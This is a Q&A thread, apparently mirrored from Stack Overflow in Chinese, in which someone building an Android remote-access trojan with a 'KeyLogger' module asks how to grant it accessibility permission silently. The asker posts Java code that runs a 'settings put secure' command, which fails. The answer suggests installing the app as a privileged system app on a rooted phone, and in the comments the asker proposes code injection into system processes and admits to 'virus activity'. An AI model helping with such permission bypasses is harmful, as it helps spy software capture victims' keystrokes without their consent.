【问题标题】:Enabling my app to get Accessibility Permissions by itself使我的应用程序能够自行获得辅助功能权限
【发布时间】:2019-03-01 07:24:54
【问题描述】:

我正在尝试绕过 Android 安全性并让我的应用程序在不要求用户这样做的情况下获得辅助功能。
在 StackOverflow 中搜索我发现这是可能的,单击here 以查看,使用InstrumentationRegistry,但是该类现在已弃用,所以我开始使用Process 类并启动您可以在上面看到的方法:

String packageName = "com.example.rat";
String serviceName = packageName+"/"+"rat.modules.KeyLogger";
String service = "enabled_accessibility_services";
String cmd = "settings put secure "+service+" "+serviceName;
System.out.println("Command: "+cmd);
Scanner s = new Scanner(cmd);
s.useDelimiter(" ");
Process p = Runtime.getRuntime().exec(new String[]{s.next(),s.next(),s.next(),s.next(),s.next()});
String error = "";
String line = "";
BufferedReader br = new BufferedReader(new InputStreamReader(p.getErrorStream()));
while ((line = br.readLine()) != null) {
    error += line;
}
System.out.println("Response: "+error);

我从之前显示的代码中得到的错误在这里:

安全异常:您需要 MANAGE_USERS 或 CREATE_USERS 权限:查询 userjava.lang.SecurityException:您需要 MANAGE_USERS 或 CREATE_USERS 权限:在 com.android.server.pm.UserManagerService.checkManageOrCreateUsersPermission(UserManagerService.java: 1854)在 com.android.server.pm.UserManagerService.getUserInfo(UserManagerService.java:1039) 在 android.os.UserManager.getUserInfo(UserManager.java:1366) 在 com.android.providers.settings.SettingsService$MyShellCommand.onCommand (SettingsService.java:273) 在 android.os.ShellCommand.exec(ShellCommand.java:96) 在 com.android.providers.settings.SettingsService.onShellCommand(SettingsService.java:51) 在 android.os.Binder.shellCommand( Binder.java:581) 在 android.os.Binder.onTransact(Binder.java:481) 在 android.os.Binder.execTransact(Binder.java:682)

有没有办法绕过它?我对各种想法持开放态度。

【问题讨论】:

    标签: java android process android-security android-accessibility


    【解决方案1】:

    只有系统应用才能使用此权限。 如果您的手机已植根,请将您的应用程序移至 /system/priv-app 文件夹 您需要的权限是

    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS" />
    

    <uses-permission android:name="android.permission.MANAGE_USERS" />
    

    【讨论】:

    • 我给答案+1(这可能会有所帮助),但在我给出的问题的链接中,有人说可以在您的应用程序不是系统应用程序的情况下做到这一点,我我正在考虑在系统应用程序进程中打开一个 OutputStream 并通过它发送命令,这可能吗?
    • 不,不能这样。我知道,我正在为一家公司编写系统应用程序。对于你所说的第二个,如果你有一个系统应用程序可以等待你的命令并执行它们,这是另一回事。当然,每个新的 Android 版本都会发生很多变化。在较新的版本中,在很多方面限制了开发人员
    • 好的,我的第二个想法是通过intent启动一个系统应用程序并在过程中注入代码,但我不知道这是否可能。
    • 这听起来像是病毒活动 :) 我从不检查它是否可以完成,但想想每个进程都有自己的受保护内存。所以这会导致内存保护故障。
    • 这就是我想要达到的目标,感谢您的帮助,如果您有关于这个主题的一些消息,请让我更新。
    猜你喜欢
    • 2020-09-02
    • 1970-01-01
    • 2021-05-12
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2017-08-07
    • 2015-10-26
    相关资源
    最近更新 更多